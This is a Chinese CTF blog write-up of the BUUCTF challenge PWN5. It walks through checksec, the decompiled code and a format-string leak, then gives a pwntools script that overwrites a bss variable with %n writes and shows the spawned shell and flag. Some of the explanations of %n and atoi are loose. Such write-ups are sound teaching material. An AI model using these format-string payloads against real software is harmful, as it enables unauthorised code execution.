【pwn做题记录】06.[第五空间2019 决赛]PWN5 1

例题:https://buuoj.cn/challenges#[第五空间2019 决赛]PWN5

首先检查一下文件:

C:\Users\A\Downloads>checksec pwn
[*] 'C:\\Users\\A\\Downloads\\pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)

上面的意思依次是:

  • 32位程序,小端序
  • GOT表部分可写
  • 具有栈保护
  • 栈不可执行
  • 地址固定

思路分析

先执行一下程序看一下:

┌──(kali㉿kali)-[~/桌面/attack]
└─$ ./pwn      
your name:hello
Hello,hello
your passwd:123
fail

可以看出这里有两个输入点,一个名字,一个密码。

用IDA打开,查看main函数(看起来很长很恐怖,但不用慌):

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int fd; // ST14_4
  int result; // eax
  int v4; // ecx
  unsigned int v5; // et1
  char nptr; // [esp+4h] [ebp-80h]
  char buf; // [esp+14h] [ebp-70h]
  unsigned int v8; // [esp+78h] [ebp-Ch]
  int *v9; // [esp+7Ch] [ebp-8h]

  v9 = &a1;
  v8 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &unk_804C044, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == unk_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  v5 = __readgsdword(0x14u);
  v4 = v5 ^ v8;
  if ( v5 != v8 )
    sub_80493D0(v4);
  return result;
}

atoi是将字符串转换为数字,可以简单理解为 int(string)

  • 第一眼定位到system("/bin/sh"):因此需要让atoi(&nptr) == unk_804C044执行system函数
  • 返回去看,npter是我们输入的值,双击unk_804C044,发现这个在bss段,即是全局变量,由于不知道是多少,可以当作一个随机数
  • 在运行程序的时候,可以发现有两个输入点,一个名字,一个密码,所以read(fd, &unk_804C044, 4u);不是一个输入点,即fd != 0,由4u可知unk_804C044为4字节,即密码长度为4字节。
  • 看到printf(&buf);和buf是我们输入的名字,因此存在格式化字符串漏洞。

因此我们的思路大致如下:

  • 利用%n修改bss段的unk_804C044。
  • 输入的密码和我们修改后的unk_804C044值一致,即可执行system。

先泄露出格式化后字符串的地址:

┌──(kali㉿kali)-[~/桌面/attack]
└─$ ./pwn
your name:AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Hello,AAAA 0xff9c44e8 0x63 (nil) (nil) 0x3 0x80482ac 0xff9c453c 0xf7f00bcc 0x1 0x41414141 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520
p���your passwd:123
fail

得到格式化后字符串的地址为第10个参数的地址

思路总结

  • 输入名字时,输入unk_804C044的地址,再利用%10n等修改其值
  • 输入密码时,输入的数字和修改后的unk_804C044一致,即可执行system

攻击脚本

#!/bin/python
from pwn import *
context.log_level = 'debug'

bss_unk = 0x804c044

io = process("./pwn")
#io = remote("node5.buuoj.cn",29202)

# 由于密码长度为4字节,所以要写4个地址
# 前面四个地址总长度为4 * 4 = 16字节,所以每个地址修改后的值为0x10
payload = p32(bss_unk) + p32(bss_unk + 1) + p32(bss_unk + 2) + p32(bss_unk + 3)
payload += b'%10$n' + b'%11$n' + b'%12$n' + b'%13$n'
io.recvuntil(b"name:")
io.send(payload)

payload = str(0x10101010)
io.recvuntil(b'passwd:')
io.send(payload)

io.interactive()

这样就可以获取flag了

点击查看代码
[*] Switching to interactive mode
ok!!
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{dc3c40f1-82b4-45b6-9cf3-18a5dfeab5c0}
$ 
[*] Closed connection to node5.buuoj.cn port 29202

疑惑点

这里的两次payload

payload_name = p32(bss_unk) + p32(bss_unk + 1) + p32(bss_unk + 2) + p32(bss_unk + 3)
payload_name += b'%10$n' + b'%11$n' + b'%12$n' + b'%13$n'
payload_passwd = str(0x10101010)
  • %n的理解:%n修改的不是参数地址指向的值,而是参数地址指向的指针指向的值,一个地址存放1字节。%n修改的内容是成功输入的字符个数,前面若是占位符(如%n,%p)则忽略。
    所以这里修改的值均为0x10,即16字节,写在这个地址指向的指针指向的值。合起来bss_unk的值为0x10101010

    那如果输入的是"AAAA"呢,因为在C语言里,字符串就是数组,数组和指针类似,即arr[3],则arr是一个指针,arr --> arr[0],数组存储的内存是连续的,所以arr + 1 --> arr[1],以此类推
    那谁指向"AAAA"呢,我理解的是当前格式化后字符串的地址就是"AAAA"指针,即printf的第10参数就是"AAAA"的指针,
    若参数地址是0xffff0001,则参数地址指向的指针就是0xffff0001,参数地址指向的指针指向的值就是"AAAA"

  • payload_passwd为什么是str(0x10101010)?
    (这里用pwntools的context.log_level = 'debug'来实验)
    假设我们输入的payload_passwd是'0x10101010'呢

    可以发现我们发送的是b'0x10101010'

若我们输入的payload_passwd是p32(0x10101010)呢

可以发现我们发送的是\x10 * 4

若我们输入的payload_passwd是b'0x10101010'呢

结果和'0x10101010'的·一致。

若我们输入的payload_passwd是str(0x10101010)呢

发现我们发送的payload变为:269,488,144
269,488,144是什么?这是0x10101010的十进制数。

那为什么密码要输入0x10101010的十进制才能成功呢?原因在于atoi函数
atoi(&nptr) == unk_804C044比较之前,是先进行了atoi函数,我们前面说了,atoi函数类似int函数,也就说相当于int(&nptr),如果输入的是'0x10101010',则int('0x10101010')必然报错,正确应该是int('0x10101010',16),也就说默认是十进制转换,直接输入十六进制数必然不行。而str函数不仅可以将数字转换为字符串,同时也进行了十进制转换。
使用p32就更不对了,\x10转成字符串就是一个不可打印字符(通过ASCII转),更别说和数字比较。

  • payload只能这么写吗?
    这里还有一种写法,因为%hn可以一次性写两个字节
payload_name = p32(bss_unk) + p32(bss_unk + 2)
payload_name += b'%10$hn' + b'%11$hn'
payload_passwd = str(0x00080008)

这里要注意成功写入的字符为4 * 2 = 8个字节,所以密码为0x00080008,不是原来的0x10101010了。

做题总结

  • 可以利用%n修改bss段的变量,以达到绕过的效果。
  • str函数可以将数字进行十进制转换后再转字符串。
  • atoi函数和int函数类似。
  • %n修改的是地址指向的指针指向的值。
posted @ 2025-06-22 17:05  星冥鸢  阅读(24)  评论(0)    收藏  举报